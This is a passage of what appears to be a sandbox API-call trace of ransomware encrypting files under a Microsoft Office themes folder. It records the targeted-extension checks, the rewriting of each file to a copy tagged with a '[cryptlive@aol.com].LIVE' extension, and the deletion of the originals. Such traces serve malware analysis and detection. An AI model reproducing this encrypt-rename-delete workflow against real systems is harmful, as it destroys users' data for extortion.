lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0136.582] lstrlenW (lpString=".1cd") returned 4 [0136.582] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0136.582] lstrlenW (lpString=".jpg") returned 4 [0136.582] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0136.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0136.582] lstrlenW (lpString=".doc") returned 4 [0136.582] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.582] lstrlenW (lpString=".docx") returned 5 [0136.582] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.582] lstrlenW (lpString=".pdf") returned 4 [0136.582] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.582] lstrlenW (lpString=".xls") returned 4 [0136.582] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.582] lstrlenW (lpString=".xlsx") returned 5 [0136.582] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.582] lstrlenW (lpString=".ppt") returned 4 [0136.582] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0136.582] lstrlenW (lpString=".zip") returned 4 [0136.582] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.582] lstrlenW (lpString=".rar") returned 4 [0136.582] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.582] lstrlenW (lpString=".bz2") returned 4 [0136.582] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.582] lstrlenW (lpString=".7z") returned 3 [0136.582] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0136.582] lstrlenW (lpString=".dbf") returned 4 [0136.582] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0136.583] lstrlenW (lpString=".1cd") returned 4 [0136.583] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0136.583] lstrlenW (lpString=".jpg") returned 4 [0136.583] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.583] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0136.583] lstrlenW (lpString="Paper.eftx") returned 10 [0136.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0136.591] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=228746) returned 1 [0136.591] CloseHandle (hObject=0x3a8) returned 1 [0136.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx")) returned 0x20 [0136.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0136.595] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.595] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0136.595] GetLastError () returned 0x0 [0136.595] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x37d8a, lpOverlapped=0x0) returned 1 [0136.601] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x37d90, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x37d90, lpOverlapped=0x0) returned 1 [0136.606] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0136.606] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0136.606] SetEndOfFile (hFile=0x3b0) returned 1 [0136.606] CloseHandle (hObject=0x3b0) returned 1 [0136.607] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.607] SetEndOfFile (hFile=0x3a8) returned 1 [0136.742] CloseHandle (hObject=0x3a8) returned 1 [0136.742] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.784] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx")) returned 1 [0136.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0136.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0136.785] lstrlenW (lpString=".doc") returned 4 [0136.785] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.785] lstrlenW (lpString=".docx") returned 5 [0136.785] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.785] lstrlenW (lpString=".pdf") returned 4 [0136.785] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.785] lstrlenW (lpString=".xls") returned 4 [0136.785] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.785] lstrlenW (lpString=".xlsx") returned 5 [0136.785] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.785] lstrlenW (lpString=".ppt") returned 4 [0136.785] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0136.785] lstrlenW (lpString=".zip") returned 4 [0136.785] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.785] lstrlenW (lpString=".rar") returned 4 [0136.785] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.785] lstrlenW (lpString=".bz2") returned 4 [0136.785] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.785] lstrlenW (lpString=".7z") returned 3 [0136.785] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0136.785] lstrlenW (lpString=".dbf") returned 4 [0136.785] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0136.786] lstrlenW (lpString=".1cd") returned 4 [0136.786] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0136.786] lstrlenW (lpString=".jpg") returned 4 [0136.786] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0136.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0136.786] lstrlenW (lpString=".doc") returned 4 [0136.786] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.786] lstrlenW (lpString=".docx") returned 5 [0136.786] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.786] lstrlenW (lpString=".pdf") returned 4 [0136.786] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.786] lstrlenW (lpString=".xls") returned 4 [0136.786] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.786] lstrlenW (lpString=".xlsx") returned 5 [0136.786] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.786] lstrlenW (lpString=".ppt") returned 4 [0136.786] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0136.786] lstrlenW (lpString=".zip") returned 4 [0136.786] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.786] lstrlenW (lpString=".rar") returned 4 [0136.786] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.786] lstrlenW (lpString=".bz2") returned 4 [0136.786] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.786] lstrlenW (lpString=".7z") returned 3 [0136.786] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0136.786] lstrlenW (lpString=".dbf") returned 4 [0136.786] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0136.786] lstrlenW (lpString=".1cd") returned 4 [0136.786] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0136.787] lstrlenW (lpString=".jpg") returned 4 [0136.787] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.787] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0136.787] lstrlenW (lpString="Solstice.eftx") returned 13 [0136.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0136.978] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=27781) returned 1 [0136.978] CloseHandle (hObject=0x3b0) returned 1 [0136.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx")) returned 0x20 [0136.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0136.982] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.982] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0136.983] GetLastError () returned 0x0 [0136.983] ReadFile (in: hFile=0x3b0, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x6c85, lpOverlapped=0x0) returned 1 [0137.004] WriteFile (in: hFile=0x3a4, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x6c90, lpOverlapped=0x0) returned 1 [0137.007] ReadFile (in: hFile=0x3b0, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0137.007] WriteFile (in: hFile=0x3a4, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xee, lpOverlapped=0x0) returned 1 [0137.007] SetEndOfFile (hFile=0x3a4) returned 1 [0137.007] CloseHandle (hObject=0x3a4) returned 1 [0137.007] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.007] SetEndOfFile (hFile=0x3b0) returned 1 [0137.010] CloseHandle (hObject=0x3b0) returned 1 [0137.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0137.010] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx")) returned 1 [0137.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0137.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0137.011] lstrlenW (lpString=".doc") returned 4 [0137.011] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0137.011] lstrlenW (lpString=".docx") returned 5 [0137.011] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0137.011] lstrlenW (lpString=".pdf") returned 4 [0137.011] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0137.011] lstrlenW (lpString=".xls") returned 4 [0137.011] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0137.011] lstrlenW (lpString=".xlsx") returned 5 [0137.011] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0137.011] lstrlenW (lpString=".ppt") returned 4 [0137.011] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0137.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0137.011] lstrlenW (lpString=".zip") returned 4 [0137.011] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0137.011] lstrlenW (lpString=".rar") returned 4 [0137.011] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0137.011] lstrlenW (lpString=".bz2") returned 4 [0137.011] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0137.011] lstrlenW (lpString=".7z") returned 3 [0137.011] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0137.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0137.011] lstrlenW (lpString=".dbf") returned 4 [0137.011] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0137.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0137.012] lstrlenW (lpString=".1cd") returned 4 [0137.012] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0137.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0137.012] lstrlenW (lpString=".jpg") returned 4 [0137.012] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0137.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0137.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0137.012] lstrlenW (lpString=".doc") returned 4 [0137.012] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0137.012] lstrlenW (lpString=".docx") returned 5 [0137.012] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0137.012] lstrlenW (lpString=".pdf") returned 4 [0137.012] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0137.012] lstrlenW (lpString=".xls") returned 4 [0137.012] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0137.012] lstrlenW (lpString=".xlsx") returned 5 [0137.012] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0137.012] lstrlenW (lpString=".ppt") returned 4 [0137.012] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0137.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0137.012] lstrlenW (lpString=".zip") returned 4 [0137.012] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0137.012] lstrlenW (lpString=".rar") returned 4 [0137.012] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0137.012] lstrlenW (lpString=".bz2") returned 4 [0137.012] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0137.012] lstrlenW (lpString=".7z") returned 3 [0137.012] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0137.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0137.012] lstrlenW (lpString=".dbf") returned 4 [0137.012] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0137.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0137.012] lstrlenW (lpString=".1cd") returned 4 [0137.012] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0137.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0137.012] lstrlenW (lpString=".jpg") returned 4 [0137.012] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0137.013] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0137.013] lstrlenW (lpString="Trek.eftx") returned 9 [0137.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0137.022] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=129924) returned 1 [0137.022] CloseHandle (hObject=0x38c) returned 1 [0137.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx")) returned 0x20 [0137.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0137.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0137.024] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.024] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0137.025] GetLastError () returned 0x0 [0137.025] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x1fb84, lpOverlapped=0x0) returned 1 [0137.029] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x1fb90, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x1fb90, lpOverlapped=0x0) returned 1 [0137.032] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0137.032] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0137.032] SetEndOfFile (hFile=0x3b0) returned 1 [0137.032] CloseHandle (hObject=0x3b0) returned 1 [0137.032] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.032] SetEndOfFile (hFile=0x1fc) returned 1 [0137.037] CloseHandle (hObject=0x1fc) returned 1 [0137.037] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0137.037] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx")) returned 1 [0137.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0137.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0137.038] lstrlenW (lpString=".doc") returned 4 [0137.038] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0137.038] lstrlenW (lpString=".docx") returned 5 [0137.038] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0137.038] lstrlenW (lpString=".pdf") returned 4 [0137.038] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0137.038] lstrlenW (lpString=".xls") returned 4 [0137.038] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0137.038] lstrlenW (lpString=".xlsx") returned 5 [0137.038] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0137.038] lstrlenW (lpString=".ppt") returned 4 [0137.038] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0137.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0137.038] lstrlenW (lpString=".zip") returned 4 [0137.038] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0137.038] lstrlenW (lpString=".rar") returned 4 [0137.038] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0137.038] lstrlenW (lpString=".bz2") returned 4 [0137.038] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0137.038] lstrlenW (lpString=".7z") returned 3 [0137.038] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0137.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0137.038] lstrlenW (lpString=".dbf") returned 4 [0137.038] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0137.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0137.039] lstrlenW (lpString=".1cd") returned 4 [0137.039] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0137.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0137.039] lstrlenW (lpString=".jpg") returned 4 [0137.039] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0137.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0137.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0137.039] lstrlenW (lpString=".doc") returned 4 